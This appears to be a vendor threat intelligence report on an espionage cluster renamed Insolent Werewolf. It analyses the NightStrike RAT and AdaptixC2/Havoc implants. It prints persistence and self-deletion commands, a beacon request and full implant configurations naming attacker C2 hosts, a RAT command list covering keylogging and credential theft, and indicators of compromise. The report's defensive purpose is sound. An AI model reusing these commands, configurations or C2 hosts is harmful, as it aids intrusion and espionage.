New data reveals espionage focus of Insolent Hyena
Overview
We previously classified Insolent Hyena as a hacktivist cluster, though we noted that its motives and objectives appeared ambiguous. Further monitoring of the threat actor’s activity has revealed that its operations align much more closely with cyber espionage.
In our research, we classify clusters by their dominant motives, where “hyenas” have a hacktivist focus, “wolves” are financially motivated, and “werewolves” practice cyber espionage.
Until recently, Insolent Hyena was categorized as a "hyena" indeed. We have now revised this assessment for the following reasons:
- Lack of destructive intent. Throughout the monitoring period, we found no evidence of the threat actor using malware (such as ransomware or wipers) for destructive purposes.
- Espionage‑focused tooling. A significant portion of the adversary’s arsenal consists of RATs (CapDoor, NightWire, and NightStrike). It also utilizes post‑exploitation framework implants, including AdaptixC2, Havoc, and Cobalt Strike.
- Targeted initial access. To gain initial access, the cluster employs spearphishing, such as ClickFix attacks. In some instances, the adversary acquires access to infrastructure from other espionage clusters and subsequently deploys NetSupport Manager, a legitimate remote access tool.
- Strategic targeting. Insolent Hyena has primarily targeted the government sector, as well as industrial organizations and research institutes affiliated with the defense‑industrial complex.
- No public claims. We have not observed any public channels or claims of successful operations, which are typical hallmarks of hacktivist groups.
Based on these indicators, we have reclassified the adversary as Insolent Werewolf.
In August 2026, while analyzing its activity, we discovered a new RAT, which we dubbed NightStrike. Retrospective analysis indicates that the threat actor has been utilizing it since at least June.
Insolent Werewolf also utilizes Octowave Loader to deploy AdaptixC2 and Havoc post‑exploitation framework implants in compromised systems. We had not previously observed the Havoc framework in this cluster’s arsenal.
Key findings
- Insolent Werewolf is primarily engaged in cyber espionage.
- The cluster continues to develop its own tools. Notably, it has created a new RAT, NightStrike, presumably developed by the author of NightWire RAT.
- In addition to Cobalt Strike and AdaptixC2, which we previously linked to the cluster, the threat actor has now employed Havoc. Utilizing diverse frameworks and their own custom malware allows the adversary to tailor tooling to specific attack conditions and reduce the likelihood of detection—by leveraging differences in capabilities and signatures of security solutions.
NightStrike
A RAT written in C++, NightStrike has presumably been created by the developer of NightWire, based on similarities in coding style.
Upon initial execution, NightStrike checks if the command line contains an argument with the value 1. If it does, the malware creates debug.txt in its execution directory to log its actions. Data logging follows the format [YY-MM-DD-HH-MM-SS-MS LogData].
Next, the malware checks for the <<<BIND>>> marker at the end of its binary. If found, the trojan extracts and saves the appended data to %TEMP%\[random_name] and executes this file, which may serve as a decoy document.
The malware then checks if a rootkit flag is enabled in its configuration. If yes, NightStrike copies itself to %LOCALAPPDATA%\Microsoft\WindowsApps\SecurityHealthService.exe, terminates the legitimate running instance of SecurityHealthService.exe, applies System and Hidden file attributes, removes the :Zone.Identifier alternate data stream, performs PPID spoofing to mimic explorer.exe, and launches the copied file with the flag %LOCALAPPDATA%\Microsoft\WindowsApps\SecurityHealthService.exe --rkt.
Subsequently, the malware deletes the original file using the command cmd.exe /C ping 127.0.0.1 -n 1 > nul & del /F /Q [original_malware.exe] and terminates the original process.
After copying and launching in the new process, the malware creates the SvcRuntimeMtx mutex and initializes its C2 server. NightStrike features a fallback C2 mechanism. The default C2 server is 46.250.238[.]87:5173. However, if the default configuration contains the string <<<, the malware substitutes the address with 194.59.31[.]39:5173.
The C2 server can be specified via a command‑line argument. If [host]:[port] is provided in the arguments, the malware will connect to that specific C2 server. Following this, the system generates a unique ID. This ID is derived from the C: drive serial number and the computer name. A string in the format [C_Serial_Num-PC_Name] is generated, and an FNV‑1a hash is calculated from it.
This ID is used when forming requests to the C2 server, specifically within the WebSocket path [host]:[port]/api/clients/[CLIENT_ID]/stream/ws.
If the persistence flag is present in the malware configuration, NightStrike copies itself to %APPDATA%\WindowsUpdate.exe and establishes registry persistence:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"WindowsUpdate" = "%APPDATA%\WindowsUpdate.exe"
Persistence is also established via a scheduled task:
schtasks /create /tn "WindowsUpdate" /tr "\"%APPDATA%\Microsoft\WindowsUpdate.exe\"" /sc onlogon /rl limited /f
Following this, a separate keylogger thread is launched. The keylogger records data in the format [HH-MM-SS] [Foreground_Window_Text] keylog_data. The keylogger file is saved to %TEMP%\keylog_YY-DD-MM.txt after which a WebSocket connection is established.
An HTTP GET request is made with the following headers:
GET /api/clients/[CLIENT_ID]/stream/ws HTTP/1.1 Host: 46.250.238[.]87:5173 Upgrade: websocket User-Agent: StrikeStub/1.0
The main command processing and retrieval cycle then begins. The malware serializes both incoming and outgoing data using the MessagePack format.
Upon establishing the connection, the malware sends system information to the C2 server:
"type": "hello", "id": "[CLIENT_ID]", "hwid": "[generated_HWID]", "host": "[PC_NAME\Username]", "os": "Windows [Os Version]", "arch": "[x86 / amd64]", "version": "1.0.0-cpp", "user": "[Username]", "monitors": 1, "country": "ZZ"
Following this, command processing begins.
| Command | Description |
|---|---|
|
Returns |
|
Creates a hidden desktop and launches |
|
Terminates the hidden desktop session |
|
Moves the mouse to the specified (x, y) coordinates |
|
Simulates a mouse button press |
|
Simulates a mouse button release |
|
Simulates a key tap |
|
Simulates a key release |
|
Launches a process on the hidden desktop. Receives the process path from the C2 server |
|
Launches a browser on the hidden desktop. Chrome/Edge/Brave:
Firefox:
|
|
Sets the quality of the transmitted screen capture |
|
Not implemented |
|
Views the user’s main desktop (without creating a hidden one) |
|
Stops viewing the user’s main desktop |
|
Controls the mouse on the user’s main desktop using the specified coordinates |
|
Controls the keyboard on the user’s main desktop |
|
Launches a command shell (as |
|
Writes data to the command shell’s input stream |
|
Terminates the command shell session |
|
Not implemented |
|
Non‑recursive directory traversal. If no path is provided, it defaults to traversing the |
|
Downloads a file (max 50 MB) from the specified path |
|
Deletes the transmitted file or directory |
|
Saves a file to the specified path |
|
Creates a directory at the specified path |
|
Archives the specified directory. The malware creates a |
|
Starts the keylogger thread unless already running |
|
Stops the keylogger |
|
Retrieves a list of keylog files |
|
Retrieves the contents of a specific keylog file by name |
|
Deletes all keylog files |
|
Captures a screenshot in BMP format |
|
Starts the webcam stream |
|
Terminates the webcam stream |
|
Uploads a file to the system and executes it. Incoming data format: The data is decoded from Base64 and saved to |
|
Downloads a file from a specified URL and executes it |
|
Receives host and port from the C2 server. Establishes a TCP connection to the C2 server based on these parameters and sends |
|
Sends data through the established TCP connection. Receives |
|
Closes the specified TCP connection. Receives |
|
Lists system processes in |
|
Terminates a process by its specified PID |
|
Lists registry keys and values under the specified branch |
|
Sets a registry value under the specified branch |
|
Deletes a registry value under the specified branch |
|
Creates the specified registry key |
|
Deletes the specified registry key |
|
Lists system startup items. Checks registry branches |
|
Removes a specified item from startup (registry value or file path) |
|
Lists running Windows services |
|
Controls a Windows service (stops, resumes, or restarts the service) |
|
Gathers system information: PC name, username, CPU name, core count, OS version and architecture, RAM amount, system uptime, GPU name, disk space, screen resolution, list of installed AV solutions, and list of installed programs |
|
Displays a dialog box with specified text to the user |
|
Shuts down the PC |
|
Restarts the PC |
|
Locks the PC screen |
|
Removes the malware from the system. Deletes registry entries, deletes |
|
Steals data from system browsers. Launches a separate thread where the malware decrypts from its own body an embedded PE file. It is the open‑source utility ChromElevator. The utility is executed using the RunPE technique. Extracted browser data is sent to the C2 server |
|
Collects and steals data from the system:
|
AdaptixC2
While examining the threat actor’s infrastructure, we discovered a Microsoft Installer (MSI) named DRPUMSItoEXECreator(Demo)2024_signed.msi with an invalid digital signature. The installer extracted files to the %LOCALAPPDATA%\Programs\Advanced CatchPulse Scanner directory and launched the legitimate executable sascanner.exe.
%LOCALAPPDATA%\Programs\Advanced CatchPulse Scanner
The final payload is an implant of the AdaptixC2 post‑exploitation framework.
Upon launching the legitimate sascanner.exe, three malicious libraries are loaded:
iPrf‑2.dllto decrypt the Octowave Loader shellcode stored inAnalysisService.dbWebView2.DevTools.Dom.dllto run the decrypted Octowave Loader shellcodeGma.System.MouseKeyHook.dllto conceal windows
The Octowave Loader shellcode reads and decrypts the final payload from Comm.raw.
AdaptixC2 implant configuration:
{
"encryption_key": "331eb0e2111d14bcc9f622fa7dfd3214",
"agent_type": 3192652105,
"listener_type": 0,
"sleep_delay": 60,
"jitter_delay": 15,
"kill_date": "2074-02-04 17:09:42+00:00",
"use_ssl": true,
"servers": [
"stinkyshockblazer[.]cfd:443"
],
"http_method": "POST",
"uris": [
"/catalog/mkr-l5"
],
"parameter": "Sec-Fetch-User",
"user_agents": [
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.119 YaBrowser/22.3.0.2539 Yowser/2.5 Safari/537.36"
],
"http_headers": "Accept-Encoding: gzip,deflate,br,zstd\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nSec-GPC: 1\r\nConnection: keep-alive\r\nUpgrade-Insecure-Requests: 1\r\nSec-Fetch-Dest: document\r\nSec-Fetch-Mode: navigate\r\nSec-Fetch-Site: same-origin\r\n",
"ans_pre_size": 26,
"ans_size": 47,
"host_headers": [
"www.tdspectara[.]ru"
],
"rotation_mode": 0,
"proxy_type": 0,
"download_chunk_size": 3128,
"working_time": "not set",
"type": "BEACON_HTTP"
}Havoc
In another instance, the MSI extracted files to the %LOCALAPPDATA%\Programs\HP SmartStream License Manager directory. This folder also contained a set of files characteristic of attack chains utilizing Octowave Loader: a legitimate executable, DLLs used for sideloading, and files containing encrypted payloads.
%LOCALAPPDATA%\Programs\HP SmartStream License Manager
In this case, the final payload was the Demon implant of the Havoc post‑exploitation framework.
Upon launching the legitimate HPLicenseManager.exe, three malicious libraries are loaded:
WinSca.dllto decrypt the Octowave Loader shellcode stored indesktop.datSlitheris.dllto execute the decrypted Octowave Loader shellcodePuTranslations.resources.dllto conceal windows
The Octowave Loader shellcode reads and decrypts the final payload from WindowCreate.bin.
Demon implant configuration:
{
"Sleep": 20,
"Jitter": 15,
"Alloc": "Native/Syscall",
"Execute": "Native/Syscall",
"ConfigSpawn64": "C:\\Windows\\explorer.exe",
"ConfigSpawn32": "C:\\Windows\\explorer.exe",
"ObfTechnique": "Ekko",
"ObfBypass": "BYPASS_JMPRBX",
"StackSpoof": 1,
"ProxyLoading": "RtlCreateTimer",
"Syscall": 1,
"AmsiPatch": "None",
"KillDate": 0,
"WorkingHours": 0,
"Methode": "POST",
"HostRotation": 0,
"Hosts": [
"unmoralreformeddehydrate[.]cfd:443"
],
"Secure": 1,
"UserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 YaBrowser/25.8.0.0 Safari/537.36",
"Headers": [
"Sec-Fetch-Site: none",
"Sec-Fetch-Mode: no-cors",
"Sec-Fetch-Dest: empty",
"Accept-Language: en-US,en;q=0.5"
],
"Uris": [
"/async/ddljson",
"/async/newtab_ogb"
],
"ProxyEnabled": 0
}Indicators of compromise
Checksums
NightStrike
f41ad6382381aa01b232007a62e845dfb062dc7050f23e987f341fe04b5628e879bc2ef7e362394cb209de491ff8c2402c944b835d923ece0a63531922c2f4b1a94e2c99cd8aaed4124fb4301b71dc97d480bf47135d4d7f45057f2c05487b0e86ca13d899fb4c9eb9a7a783347b8901945fac8039d1dfbb148f57dbd14991d9d08f5be17e0faae9e2284d89995ee0e9d86f2f7e700a0cc01e268c651f892cc1fc1e396f086f78b1c1a722187d5576ca1a110139f6ea92051c056fae2bcaee15407dd6fc3839977aef22ab7083f53f2544140ed47b05177ca2910521a373174044b5f61672bd2243250d068053c2e2fd4be2277b1833ebedf97c43d2723d9d236a98f728dd24e272965a9dae64ccbf9c4a34b1136c2fda3ebf3fc2f1f481394199fce013248f101bd8a3d51142e0c2fd8cd480443a99519cf8a5426a69e06f45f72d737bba6785cb1c94c773a1bf1f283e6395ec5d0daf051734a2f2147fe28d
AdaptixC2
ba916aa1dfb0f562556e514b9fe92637e97282813047955c9744467154da3df34eddd4af1fd3a3e40e61e9cc2961b540504e86713c27fda166f7b870b3a0f36ec5c4c9b794e5f1f2be986b7dbb74bba949218be947ca0f381585f551bec0a846059c0dcdd98d19e31d310427a422d48c47c5e8615ad3c0d31fcaa26c4eacac1cc65bfd22870a3a7e561a8009a9b69f58c0a9017343095d849f64a428cf136431e5f52fa07c411141904d2f41aa5ba774083272f787d5871a5bc9bba9d2d07902
Havoc
6298d7791cd6f556d4e8b60350a5fe6a4361cba7234d416031186ee249a81cc872a9a2bbefdfc08b7153f7808c7b27254bdb4b5d9e3a3c0249b5889efbc0becf2d93804826f8a7a28ce6f60162f1d73b84c6ece3daa823ece170fafc558a796db42910aae8a63d7550b5e8277ac47aebb842441e2110a75ff6bd4dfa5f927dd7598abde0f738440fa7a368b9f5c324a7f54847dab55fd88ed817f5c17f56d882
Network indicators
URLs
hxxp://85.239.144[.]51/agent.exehxxp://46.250.238[.]87/agent.exehxxp://85.239.144[.]51:5173/api/clients/9e4dfd51fb1788a91403039724dffc0457aae05dbf9719bb9d1454cac33b9352/stream/wshxxp://85.239.144[.]51:5173/api/clients/f14ee4054ed8f6b15042cc7a1ca56052d4d8e6558d942e32105772a54e9bfe69/stream/wshxxp://85.239.144[.]51:5173/api/clients/53298f5e0823781d027e751bbac0b68339f7e40fc23b9c4b0f56663e80d06612/stream/wshxxp://85.239.144[.]51:5173/api/clients/8b097777ffe1ae102fc7ac9af97119e4287315a5c385d7d6c4a2a860ec2e44b7/stream/wshxxp://46.250.238[.]87:5173/api/clients/caf7038b9d615f75243b31632268602017d3665ec80b064205c869413bc8c038/stream/wshxxp://46.250.238[.]87:5173/api/clients/7ca843cebc422ba7c437018500c3933b5d972cefc0af4b460116830e996f3ba3/stream/wshxxp://46.250.238[.]87:5173/api/clients/19d38ac5455dbd8392b07036f11bdef3596c41b67f81d1bf1aaee7a8d074ac0b/stream/wshxxp://46.250.238[.]87:5173/api/clients/58a6172bcf0ed2c48f4f33d9976796375c9763a2be53922c8089afeccdb2c097/stream/wshxxp://38.255.32[.]104:5173/api/clients/f146eac864ccd709d022e4b14a98441eb19d6b92aa921a0c1279a449b1ec57f0/stream/wshxxp://198.46.243[.]24:5173/api/clients/ae8ff1c3b5e620b2233389661842c765cd04dfecd73a880de3cbf7115c1ebb50/stream/wshxxp://108.186.112[.]105:5173/api/clients/342b4805758e2ea62fe3b91c7614a4d719caf819dc5b4afc8d5e4694666cf21a/stream/ws
Domains
unmoralreformeddehydrate[.]cfdstinkyshockblazer[.]cfd
IP addresses
38.255.32[.]10446.250.238[.]8785.239.144[.]51108.186.112[.]105198.46.243[.]24
MITRE ATT&CK
| Tactic | Technique | Procedure |
|---|---|---|
Execution |
Command and Scripting Interpreter: PowerShell |
Insolent Werewolf uses AdaptixC2 and Havoc to execute passed commands in the PowerShell interpreter |
Command and Scripting Interpreter: Windows Command Shell |
Uses NightStrike to launch
Also uses AdaptixC2 and Havoc to provide interactive command execution via Windows Command Shell |
|
Native API |
Uses NightStrike to run |
|
User Execution: Malicious File |
Prompts the victim to execute the malicious MSI file to initiate system compromise |
|
Persistence |
Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder |
Uses NightStrike to establish persistence via the registry key |
Scheduled Task/Job: Scheduled Task |
Uses NightStrike to create a scheduled task named
|
|
Stealth |
Access Token Manipulation: Parent PID Spoofing |
Uses NightStrike to mask the restarted process |
Deobfuscate/Decode Files or Information |
Uses NightStrike to decrypt strings at runtime using XOR operations. It also uses malicious DLLs to decrypt XOR‑encrypted Octowave Loader shellcode and AdaptixC2/Havoc payloads prior to execution |
|
Hide Artifacts: Hidden Window |
Uses NightStrike to create a hidden hVNC desktop and launch |
|
Hijack Execution Flow: DLL |
Places malicious DLLs adjacent to legitimate applications to load and execute Octowave Loader |
|
Indicator Removal: File Deletion |
Uses NightStrike to delete the original executable file after restarting via
|
|
Masquerading: Match Legitimate Resource Name or Location |
Uses NightStrike to copy its own executable file under the name of a legitimate applicationп, for example, |
|
Obfuscated Files or Information: Embedded Payloads |
Uses NightStrike to steal data via an embedded PE stealer and to store additional data using a marker mechanism |
|
Obfuscated Files or Information: Encrypted/Encoded File |
Stores Octowave Loader shellcode and AdaptixC2/Havoc payloads in encrypted files |
|
Process Injection: Process Hollowing |
Uses NightStrike to decrypt the embedded stealer PE file and inject it into a suspended instance of its own process |
|
Defense Impairment |
Modify Registry |
Uses NightStrike to modify registry keys and values via the |
Credential Access |
Credentials from Password Stores: Credentials from Web Browsers |
Uses NightStrike to extract saved passwords from Chrome, Edge, Brave, and Firefox browsers via the embedded PE stealer |
Discovery |
File and Directory Discovery |
Uses NightStrike to enumerate files and directories via the Uses AdaptixC2 and Havoc to collect information about files and folders |
Process Discovery |
Uses NightStrike to enumerate processes via the |
|
Query Registry |
Uses NightStrike to read the registry via the |
|
Software Discovery: Security Software Discovery |
Uses NightStrike to detect antivirus software via |
|
System Information Discovery |
Uses NightStrike to collect system information (hostname, username, CPU, cores, architecture, RAM, uptime, GPU, disks, AV solutions, and installed programs) via the |
|
Lateral Movement |
Remote Services: SMB/Windows Admin Shares |
Uses AdaptixC2 and Havoc which can utilize SMB named pipes to communicate with agents |
Collection |
Browser Session Hijacking |
Uses NightStrike to clone Chrome, Edge, Brave, and Firefox profiles to |
Data from Local System |
Uses NightStrike to read arbitrary files from the disk via the |
|
Input Capture: Keylogging |
Uses NightStrike to intercept keystrokes with active window context and record the data to |
|
Screen Capture |
Uses NightStrike to capture and stream the main screen image to the C2 server via the Also uses AdaptixC2 and Havoc to take screenshots |
|
Video Capture |
Uses NightStrike to capture video from the webcam and send the image to the C2 server |
|
Command and Control |
Application Layer Protocol: Web Protocols |
Uses NightStrike to communicate with the C2 server via WebSocket over HTTP with the User‑Agent Also uses AdaptixC2 and Havoc which interact with the C2 server using HTTPS |
Ingress Tool Transfer |
Uses NightStrike to download and execute files via the |
|
Proxy: Internal Proxy |
Uses NightStrike to create a TCP proxy via the |
|
Exfiltration |
Exfiltration Over C2 Channel |
Uses NightStrike to transfer files, keylog files, screenshots, and passwords in MessagePack format over a persistent WebSocket connection. Also uses AdaptixC2 and Havoc to exfiltrate files to the C2 server |
Impact |
Service Stop |
Uses NightStrike to manage services in Windows OS via the |
System Shutdown/Reboot |
Uses NightStrike to shut down and restart the computer via the |
How to protect your company from such threats
Espionage clusters specifically strive to remain undetected within compromised infrastructures. Therefore, it is crucial to disrupt threat actors’ actions before they establish persistence in the network and gain access to sensitive data. BI.ZONE EDR helps detect suspicious activity on endpoints and respond to threats either automatically or manually. This enables early detection and rapid containment of attacks and prevents further malicious activity within the compromised system.
To proactively account for attacker tactics, techniques, and tools, utilize BI.ZONE Threat Intelligence. The portal aggregates comprehensive information on current attacks, threat actors, their toolkits, and exploited vulnerabilities. This data can be leveraged to assess risks, configure defenses, and investigate cyber incidents.